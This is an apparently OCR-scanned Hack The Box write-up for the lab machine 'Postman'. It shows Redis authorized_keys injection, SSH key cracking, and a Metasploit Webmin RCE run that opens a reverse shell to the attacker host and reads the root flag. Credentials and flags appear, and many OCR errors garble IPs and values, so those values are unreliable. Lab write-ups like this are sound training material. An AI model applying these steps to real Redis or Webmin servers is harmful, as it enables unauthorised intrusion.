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HTB Dedicated Box 14 - Postman

1. Nmap shows SSH, HTTP, Redis, and a Webmin instance.
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2. The Webmin version is clearly outdated and vulnerable to at least one
exploit.
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3. Tried all the Webmin exploits shown here. All but one of them required
passwords and the one unauthenticated exploit didn’t work.
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6. Eventually, | looked up Redis on HackTricks and found an easy method of
manual exploitation via adding a key to the Redis user’s authorized_keys file.




7. Works like a charm.
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11. Use ssh2john to extract the hash.

12. Based on the $0$ marker at the start of the hash, the correct hashcat
hash type is 22911.
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14. Used su to move from redis to Matt and get the user flag.

delta@host:~% ssh -1 id_rsa redis@18.129.2.1
Welcome to Ubuntu 18.84.3 LTS (GNU/Linux &.15.8-58-generic xB6_6k4)

* Documentation: https://help. ubuntu.com
* Management: https://landscape.canonical.com
* Support https://ubuntu.com/advantage

* Canonical Livepatch is available for installation
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-1ts. Check your Internet connection or proxy settings

Last login: Fri Jun 16 @86:41:42 2022 from 10.18.14 41
redis@Postman:~5 su Matt

$ cat /home/Matt/user.txt

7770dcb96ble67al@279%eceasdbhdfd
Matt@Postman 4
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Success!
Flag accepted!
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16. Retried the most likely Webmin exploit again with the creds. Root access!

msf6 exploit(linux/http/webmin_packageup_rce) > set rhosts 16.129.2.1
rhosts => 18.129.2.1

msf6 exploit(linux/http/webmin_packageup_rce) > set lhost tunf

lhost => 18.18.14 .41

msf6 exploit(linux/http/webmin_packageup_rce) > set username Matt
username => Matt

msf6 exploit(linux/http/webmin_packageup_rce) > set password computer2@88
password => computer2608

msf6 exploit(linux/http/webmin_packageup_rce) > set ssl true

[!] Changing the SSL option's value may require changing RPORT!

ssl => true

msf6 exploit(linux/http/webmin_packageup_rce) > run

Started reverse TCP handler on 10.18.1k . 41:44644
[+] Session cookie: b1816bfdb4abf3d1b504a2d588@8e757a
Attempting to execute the payload
Command shell session 1 opened (16.10.14.41:4G446 -> 18.129.2.1:408382 ) at 2022-86-89 23:37:56 -08768

whoami
root

cat /root/root.txt
90a@8d9Ib7f63416e79b18384BB64Ed22




17. Root flag submitted. Done!

HTB Dedicated Box 14 - | x ) HTB Enterprise +

8 o htt hackthebox.com

Postman

10.129.2.1

ficial HTB Write-up

Success!




	HTB Dedicated Box 14 – Postman

